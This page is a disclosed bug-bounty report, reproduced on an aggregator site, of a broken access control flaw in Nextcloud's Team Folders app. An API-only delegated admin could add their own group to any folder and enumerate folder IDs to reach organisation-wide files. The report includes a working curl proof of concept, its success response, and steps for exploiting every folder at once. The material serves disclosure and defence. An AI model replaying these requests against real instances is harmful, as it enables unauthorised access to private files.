Skip to content
Access control Disclosed report Intermediate CVE-2026-77169

Critical broken access control: API-only delegated admin can enumerate all Team Folders and grant access to arbitrary groups

An account holding only API/REST delegated admin rights could add its own group to any Team Folder by calling the folder-groups endpoint, because the server checked the caller's admin level but not whether they were allowed to manage that specific folder. Since folder IDs are sequential, an attacker could enumerate every Team Folder and gain read and download access to organisation-wide files.

qloo Follow

Originally disclosed on HackerOne

Medium 5.7 View original
  • Triaged in 2 days
  • Fixed in 3 months
  • Paid in 6 months
  • Disclosed after 5 months

Summary by the program

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-9mjh-89xm-hcqw

The report

Summary

An API/REST only delegated admin can bypass folder-level authorization and gain access to any Team Folder by abusing:

HTTP
POST /index.php/apps/groupfolders/folders/{id}/groups

Because folder_id is predictable (auto-increment), an attacker can enumerate all Team Folders and mass-assign their own group, resulting in full access to organization-wide data.

Affected Endpoint

HTTP
POST /index.php/apps/groupfolders/folders/{id}/groups

Tested Environment

  • Nextcloud Hub 26 Winter (33.0.2)
  • Deployment: Docker (local)
  • Groupfolders app: latest compatible version
  • Workspace app: enabled

Preconditions

  • Team Folders app enabled
  • Workspace app enabled
  • Attacker has API/REST only delegated admin privileges
  • Attacker controls a group (e.g. Product_Dev)

Steps to Reproduce

Single Folder Exploit

  1. Log in as an attacker account with API/REST only delegated admin privileges

  2. Use a proxy tool (e.g. Burp Suite) to intercept a request and obtain:

    • Session cookie
    • requesttoken (CSRF token)
  3. Identify a Team Folder not managed by the attacker (e.g. Finance, id=1)

  4. Send the following request:

HTTP
POST /index.php/apps/groupfolders/folders/1/groups
Host: <target>
Cookie: <session_cookie>
requesttoken: <request_token>
Content-Type: application/json

{"group": "Product_Dev"}
  1. Observe that the request is accepted and the group is successfully added to the target folder

  2. Log in as a user in Product_Dev (or refresh mounts)

  3. Navigate to Files UI

  4. Observe that the Finance Team Folder is now visible and accessible

Mass Exploitation (Full Instance Compromise)

  1. Using the same authenticated session (cookie + requesttoken)

  2. Enumerate folder IDs (e.g. sequential integers: 1–100)

  3. Repeat the request:

HTTP
POST /index.php/apps/groupfolders/folders/{id}/groups
  1. Add attacker-controlled group (Product_Dev) to each folder

  2. Result:

    • Multiple Team Folders become accessible
    • Cross-team data exposure achieved

Proof of Concept

The following request demonstrates that an API/REST only delegated admin can add an arbitrary group to a Team Folder they are not authorized to manage.

PoC Request

Bash
curl -X POST "http://{{TARGET_HOST}}/index.php/apps/groupfolders/folders/1/groups" \
     -H "Host: {{TARGET_HOST}}" \
     -H "Content-Type: application/json" \
     -H "requesttoken: ql6Eh0++DgBt4UI8eyQ/p2u5wAQQsVZhNd3+odQtip0=:*******" \
     -H "X-Requested-With: XMLHttpRequest" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" \
     -H "Accept: application/json, text/plain, */*" \
     -H "Origin: http://{{TARGET_HOST}}" \
     -H "Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc_sessionPassphrase=*******; ocla11e1zi8v=*******; nc_username=Product_Tester_A; nc_token=*******; nc_session_id=*******" \
     --data-raw '{"group":"Product_Dev"}'

Response:

JSON
{
    "ocs": {
        "meta": {
            "status": "ok",
            "statuscode": 100,
            "message": "OK",
            "totalitems": "",
            "itemsperpage": ""
        },
        "data": {
            "success": true,
            "folder": {
                "id": 1,
                "mount_point": "Finance",
                "quota": -3,
                "acl": false,
                "acl_default_no_permission": false,
                "size": 7,
                "groups": {
                    "Finance": 31,
                    "Product_Dev": 31
                },
                "group_details": {
                    "Finance": {
                        "displayName": "Finance",
                        "permissions": 31,
                        "type": "group"
                    },
                    "Product_Dev": {
                        "displayName": "Product_Dev",
                        "permissions": 31,
                        "type": "group"
                    }
                },
                "manage": []
            }
        }
    }
}

Evidence (Screenshots)

The following screenshots are provided as attachments:

  1. Initial Team Folders configuration

    • Shows that the target folder (e.g. Finance) is not assigned to the attacker-controlled group (Product_Dev)
  2. Initial Files UI view (Product_Tester_A)

    • Shows that the attacker user cannot see the target Team Folder
  3. Team Folders configuration after exploitation

    • Shows that Product_Dev has been successfully added to the target Team Folder
  4. Files UI view after exploitation (Product_Tester_A)

    • Shows that the previously unauthorized Team Folder is now visible and accessible

Expected Result

The API should return 403 Forbidden unless the caller is authorized to manage the specific Team Folder.

Actual Result

The API allows modification of folder access based solely on API-level privileges, without enforcing folder-level authorization.

Additional Notes

  • Folder IDs are auto-increment, making enumeration trivial
  • No rate limiting or authorization checks prevent mass exploitation
  • The issue affects write endpoints responsible for access control

Impact

This vulnerability allows an attacker to:

  • Enumerate all existing Team Folder IDs
  • Add an attacker-controlled group to each folder
  • Gain access to all Team Folders across the instance
  • Read, download, and interact with sensitive files

This leads to:

  • Organization-wide data exposure (Finance, HR, Legal, Engineering, etc.)
  • Complete breakdown of Team Folder isolation
  • Privilege escalation from limited delegated admin → global data access

Attack Scenario

An attacker with limited delegated admin privileges can:

  1. Enumerate all Team Folder IDs
  2. Add their own group to each folder
  3. Instantly gain access to all organizational data

Example:

  • Access Finance → download financial reports
  • Access HR → retrieve employee data
  • Access Engineering → access source code or internal documents

This enables large-scale data exfiltration with a single low-privileged account.

Attachments

team_folders_settings2.png
team_folders_settings2.png From the original on HackerOne
team_folders_for_product_tester_a_2.png
team_folders_for_product_tester_a_2.png
team_folders_for_product_tester_a.png
team_folders_for_product_tester_a.png
team_folders_settings1.png
team_folders_settings1.png

The original report as published on HackerOne, by qloo. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the folder-groups write endpoint authorises the request on the caller's delegated admin scope alone and never checks folder-level manage permission for the target folder.

Impact

An attacker with only limited delegated admin rights could enumerate all Team Folder IDs, add their own group to each, and read, download and interact with sensitive files across the whole instance, breaking Team Folder isolation entirely.

What the attacker needed

API/REST only delegated admin account; Team Folders app enabled; Workspace app enabled; Attacker controls a group

The fix

The endpoint should return 403 unless the caller is authorised to manage that specific Team Folder, not merely to use the API.

How it was found

  1. Log in with an account that has API/REST only delegated admin rights.
  2. Capture the session cookie and request token with an intercepting proxy.
  3. Pick a Team Folder the attacker does not manage, identified by its numeric id.
  4. Send a request to the folder-groups endpoint adding the attacker's own group to that folder.
  5. Observe the request is accepted and the group is added to the folder.
  6. Log in as a member of that group and see the previously hidden Team Folder in the Files view.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Nextcloud lets administrators hand out limited admin rights, and one such limited role is meant only for API access. Team Folders are shared folders that should only be changed by people who manage them. Here the server trusted the limited admin badge and never asked whether that person was allowed to touch the particular folder, so they could add their own group to any folder and then read its files.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.